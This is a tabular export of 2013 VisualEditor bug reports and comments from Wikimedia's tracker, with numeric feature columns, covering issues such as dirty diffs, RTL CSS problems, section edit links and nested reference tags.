editor.
239225,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I think this is a duplicate of Bug 42124 ?

It doesn't specifically mention HTML or Hidden, so I'm not positive.",,,1371264902,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,23.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,4.0,8.0,4.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.9615384615384616,"I think this is a duplicate of Bug 42124 ?

It doesn't specifically mention HTML or Hidden, so I'm not positive."
51601,VisualEditor: Swallowing of empty text annotations leads to dirty diffs and unexpected Parsoid normalisation,"VisualEditor caused this dirty diff (https://en.wikipedia.org/w/index.php?title=List_of_South_Korean_idol_groups_%282010s%29&diff=559356009&oldid=559228059) when editing a table.  Note the removal of the empty small elements, and the change to the align syntax.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371258600,1371419290.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-r3xcog5g6murfqlx2fpo,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,10.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.7291666666666666,"VisualEditor caused this dirty diff (URL when editing a table.  Note the removal of the empty small elements, and the change to the align syntax.

--------------------------
**Version**: unspecified
**Severity**: major"
239089,VisualEditor: Swallowing of empty text annotations leads to dirty diffs and unexpected Parsoid normalisation,"(In reply to comment #0)
> VisualEditor caused this dirty diff
> (https://en.wikipedia.org/w/index.
> php?title=List_of_South_Korean_idol_groups_%282010s%29&diff=559356009&oldid=5
> 59228059)
> when editing a table.  Note the removal of the empty small elements, and the
> change to the align syntax.

The removal of empty text annotations has been fixed as of wmf7 (gerrit 68213 and gerrit 68190), which is now deployed a week early on enwiki to fix this and other issues - sorry about that. This will stop ""the removal of the empty small elements"", and consequently the changes to the table syntax that Parsoid does on lines that aren't otherwise changed.

The non-semantic syntactical change of the HTML syntax is, I believe intentionally  done by Parsoid to normalise the wikitext; it is only done on lines of wikitext that are changed anyway by user action (unless there's a bug in VisualEditor which causes the contents of the HTML to change unexpectedly, as was the case here).

Consequently marking as ""fixed"".",,,1371419290,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r3xcog5g6murfqlx2fpo,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,3.0,0.5,5.0,0.5,0.0,0.0,0.5,4.5,0.5,0.0,0.5,0.5,0.5,0.0,6.5,13.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,0.5,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,1.5,0.5,0.0,0.5,1.0,0.0,12.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,2.0,1.5,0.0,0.0,0.5,1.0,0.0,7.0,4.0,9.0,0.5,1.5,10.0,0.0,0.0,0.0,0.5,2.5,0.0,1.5,0.0,1.0,13.0,6.0,0.0,2.0,0.0,1.0,0.0,3.0,1.0,0.0,0.5,0.0,0.0,0.0,3.9233362019506597,0.6947074010327022,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The removal of empty text annotations has been fixed as of wmf7 (gerrit 68213 and gerrit 68190), which is now deployed a week early on enwiki to fix this and other issues - sorry about that. This will stop ""the removal of the empty small elements"", and consequently the changes to the table syntax that Parsoid does on lines that aren't otherwise changed.

The non-semantic syntactical change of the HTML syntax is, I believe intentionally  done by Parsoid to normalise the wikitext; it is only done on lines of wikitext that are changed anyway by user action (unless there's a bug in VisualEditor which causes the contents of the HTML to change unexpectedly, as was the case here).

Consequently marking as ""fixed""."
51565,VisualEditor: Revive Inez's way of doing sub-surfaces,"Per Roan - ""we were initially going to use this for references and captions, and then chose to use separate documents instead, but this is not compatible with the collaborative editing work; a VE instance should be able to collaborate with another instance on the same page, although I suppose there was some stuff about limiting the scope successfully as well"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1371181800,1416360265.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-s72q22vgyujmcogxkisx,task_description,declined,True,c1,2,True,False,False,-3,,1.0,0.0,0.0,0.0,1.0,7.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,8.0,12.0,0.0,3.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,7.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.406976744186046,0.7558139534883721,"Per Roan - ""we were initially going to use this for references and captions, and then chose to use separate documents instead, but this is not compatible with the collaborative editing work; a VE instance should be able to collaborate with another instance on the same page, although I suppose there was some stuff about limiting the scope successfully as well"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
236808,VisualEditor: Revive Inez's way of doing sub-surfaces,Instead we're going to go with sub-documents directly.,,,1416360265,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-s72q22vgyujmcogxkisx,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.9166666666666665,1.0,Instead we're going to go with sub-documents directly.
51563,VisualEditor: Section edit link behaviour tweaks,"Clicking the section edit link into VE has three minor issues:

* The cursor is positioned at the start of the heading of that section; it should probably go to the start of the next element straight after the section (in most cases, a paragraph)
* The page doesn't actually scroll to the correct area; ideally the page should be deliberately scrolled to that section (as it happens, you normally end up on roughly the right part because the page is already scrolled, but there are cases where VE pages are lengthier or shorter than PHP pages and so this can't be relied upon).
* The toolbar only appears once you scroll (because it's triggered on page movement, and the page doesn't move at first to get to the section because it's already there) - this means that it suddenly pops into view a bit too late.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371180060,1372109901.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zptqvqstkrfianknvktj,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,2.0,1.5,4.5,0.5,1.5,0.0,0.0,1.0,1.5,0.0,0.5,0.5,0.0,0.0,10.5,13.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.5,2.5,0.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,1.0,4.5,0.0,0.5,0.0,0.0,0.5,12.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,0.0,0.5,0.0,0.0,8.5,3.0,4.5,3.5,2.0,10.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.5,13.0,1.0,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,0.5,1.0,0.5,0.0,3.920212765957447,0.7021276595744681,"Clicking the section edit link into VE has three minor issues:

* The cursor is positioned at the start of the heading of that section; it should probably go to the start of the next element straight after the section (in most cases, a paragraph)
* The page doesn't actually scroll to the correct area; ideally the page should be deliberately scrolled to that section (as it happens, you normally end up on roughly the right part because the page is already scrolled, but there are cases where VE pages are lengthier or shorter than PHP pages and so this can't be relied upon).
* The toolbar only appears once you scroll (because it's triggered on page movement, and the page doesn't move at first to get to the section because it's already there) - this means that it suddenly pops into view a bit too late.

--------------------------
**Version**: unspecified
**Severity**: normal"
236738,VisualEditor: Section edit link behaviour tweaks,"Both changes merged, so marking as fixed.",,,1372109901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.888888888888889,1.0,"Both changes merged, so marking as fixed."
236735,VisualEditor: Section edit link behaviour tweaks,#3 in your list is fixed by #2,,,1372102079,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3,0.9,#3 in your list is fixed by #2
236731,VisualEditor: Section edit link behaviour tweaks,^^^ Moves cursor to next non-heading,,,1372101985,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,1.0,^^^ Moves cursor to next non-heading
236727,VisualEditor: Section edit link behaviour tweaks,Related URL: https://gerrit.wikimedia.org/r/70238 (Gerrit Change I6fcc463aeeae40278f5caf04ae251c8ecfe65472),,,1372101813,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6fcc463aeeae40278f5caf04ae251c8ecfe65472)
236723,VisualEditor: Section edit link behaviour tweaks,^^^ Fixes scroll,,,1372100335,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,4.666666666666667,1.0,^^^ Fixes scroll
236717,VisualEditor: Section edit link behaviour tweaks,Related URL: https://gerrit.wikimedia.org/r/70229 (Gerrit Change I3a57e64f54289a3263814b4fbfe00c63de4a490b),,,1372100128,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zptqvqstkrfianknvktj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3a57e64f54289a3263814b4fbfe00c63de4a490b)
51546,VisualEditor: CSS broken in RTL,"We have plans to use ResourceLoader which will fix a lot of this, but noting it here.

Most obviously, the toolbar has two sections which in LRT appear as ABCDE  1234; in RTL they should be 4321  EDCBA, but instead appear as EDCBA  4321. Also issues in dialogs etc.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371155280,1374592563.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-o4e72bpfvnzueqs77k5k,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,4.0,9.0,5.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,3.0,3.7051282051282053,0.6923076923076923,"We have plans to use ResourceLoader which will fix a lot of this, but noting it here.

Most obviously, the toolbar has two sections which in LRT appear as ABCDE  1234; in RTL they should be 4321  EDCBA, but instead appear as EDCBA  4321. Also issues in dialogs etc.

--------------------------
**Version**: unspecified
**Severity**: major"
235553,VisualEditor: CSS broken in RTL,"(In reply to comment #2)
> This is fixed in general by the introduction of Roan and Trevor's css-frame
> fixes, and the popup menu fixes (in TextMenuWidget) - and I think that the
> rest would likely result in spot-fixes, like the ones with the transclusion
> editor.
> 
> Also, as far as I could see, the toolbar bug was fixed as well.
> 
> I think we can close this bug and rely on the main BIDI/RTL tracking bug to
> continue work on any individual bugs as they happen.

OK, done.",,,1374592563,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-o4e72bpfvnzueqs77k5k,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7096774193548385,0.4838709677419355,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK, done."
235547,VisualEditor: CSS broken in RTL,"This is fixed in general by the introduction of Roan and Trevor's css-frame fixes, and the popup menu fixes (in TextMenuWidget) - and I think that the rest would likely result in spot-fixes, like the ones with the transclusion editor.

Also, as far as I could see, the toolbar bug was fixed as well.

I think we can close this bug and rely on the main BIDI/RTL tracking bug to continue work on any individual bugs as they happen.",,,1374592211,,PHID-USER-zq6nzfwxwkyliljd4lfy,True,,,PHID-TASK-o4e72bpfvnzueqs77k5k,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,1.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,10.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6391752577319587,0.6804123711340206,"This is fixed in general by the introduction of Roan and Trevor's css-frame fixes, and the popup menu fixes (in TextMenuWidget) - and I think that the rest would likely result in spot-fixes, like the ones with the transclusion editor.

Also, as far as I could see, the toolbar bug was fixed as well.

I think we can close this bug and rely on the main BIDI/RTL tracking bug to continue work on any individual bugs as they happen."
235543,VisualEditor: CSS broken in RTL,"I went through the Link Inspector CSS issue and it gave me an insight into what may be happening here. 

Using CSSJanus will probably help 90% of this problem, but it might not completely solve it. A lot of the position settings are inline, calculated dynamically and inserted into the element itself. I'm not entirely sure CSSJanus knows how to deal with those. We may have to split the calculation up into RTL and LTR positions, or find some other solution to the popups that are calculated dynamically.",,,1371575347,,PHID-USER-zq6nzfwxwkyliljd4lfy,True,,,PHID-TASK-o4e72bpfvnzueqs77k5k,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.0,2.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,9.0,11.0,0.0,2.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,3.0,1.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,7.0,3.0,12.0,1.0,5.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,8.0,11.0,7.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,4.222222222222222,0.7373737373737373,"I went through the Link Inspector CSS issue and it gave me an insight into what may be happening here. 

Using CSSJanus will probably help 90% of this problem, but it might not completely solve it. A lot of the position settings are inline, calculated dynamically and inserted into the element itself. I'm not entirely sure CSSJanus knows how to deal with those. We may have to split the calculation up into RTL and LTR positions, or find some other solution to the popups that are calculated dynamically."
51536,VisualEditor: Incorrectly handling nested reference tags (blocked by Parsoid),"This is a particular problem with 'note' sections, and references used as notes; they commonly include citations for their statements, and you end up with markup that looks like <ref> some text here <ref> a citation for that text</ref></ref>

The VE is for some reason displaying it as a citation template, ""some text here"", a second citation template and a random </ref> tag. See note 1 in https://en.wikipedia.org/wiki/Fomitiporia_ellipsoidea for example.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371143340,1371782246.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-comswpptjs3uwf7ztbnb,task_description,resolved,True,c1,2,False,False,True,-3,,2.5,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,4.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.5,0.0,12.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.0,5.5,0.0,2.0,7.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,7.0,0.5,0.0,3.0,0.0,3.0,0.0,0.5,4.0,0.0,1.0,0.0,0.0,4.0,3.8397973445143254,0.7192522711390636,"This is a particular problem with 'note' sections, and references used as notes; they commonly include citations for their statements, and you end up with markup that looks like <ref> some text here <ref> a citation for that text</ref></ref>

The VE is for some reason displaying it as a citation template, ""some text here"", a second citation template and a random </ref> tag. See note 1 in URL for example.

--------------------------
**Version**: unspecified
**Severity**: normal"
235008,VisualEditor: Incorrectly handling nested reference tags (blocked by Parsoid),"This is now ""fixed"" (but we may want to make it a nicer experience in the future).",,,1371782246,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-comswpptjs3uwf7ztbnb,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.9545454545454546,"This is now ""fixed"" (but we may want to make it a nicer experience in the future)."
235002,VisualEditor: Incorrectly handling nested reference tags (blocked by Parsoid),"This is because Parsoid doesn't support the ""#tag:ref"" hack to let you do multi-level references (which were explicitly not allowed because of the insanity this creates :-)).

Creating a secondary bug (VE currently assumes you can't have nested references, which is indeed what Parsoid gives us), bug 49555. Once Parsoid supports this, we'll need to check that we correctly handle this from a UX perspective (amongst other things).",,,1371168461,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-comswpptjs3uwf7ztbnb,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,1.0,3.0,6.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,9.0,3.0,0.0,11.0,0.0,1.0,0.0,1.0,8.0,0.0,1.0,0.0,6.0,9.0,6.0,0.0,2.0,0.0,6.0,0.0,3.0,2.0,1.0,1.0,0.0,0.0,0.0,4.055555555555555,0.7444444444444445,"This is because Parsoid doesn't support the ""#tag:ref"" hack to let you do multi-level references (which were explicitly not allowed because of the insanity this creates :-)).

Creating a secondary bug (VE currently assumes you can't have nested references, which is indeed what Parsoid gives us), bug 49555. Once Parsoid supports this, we'll need to check that we correctly handle this from a UX perspective (amongst other things)."
51524,VisualEditor: Dropdown text style menu overlaps with other interface elements,"See https://upload.wikimedia.org/wikipedia/en/8/8f/Visual_editor_pulldown_menu_problem.png

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371122520,1372007755.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mu7u3eco45xxsfwg4vhq,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.55,"See URL

--------------------------
**Version**: unspecified
**Severity**: normal"
234377,VisualEditor: Dropdown text style menu overlaps with other interface elements,This was fixed in the re-write of the toolbar two weeks ago; sorry for not updating until now.,,,1372007755,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu7u3eco45xxsfwg4vhq,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,0.9545454545454546,This was fixed in the re-write of the toolbar two weeks ago; sorry for not updating until now.
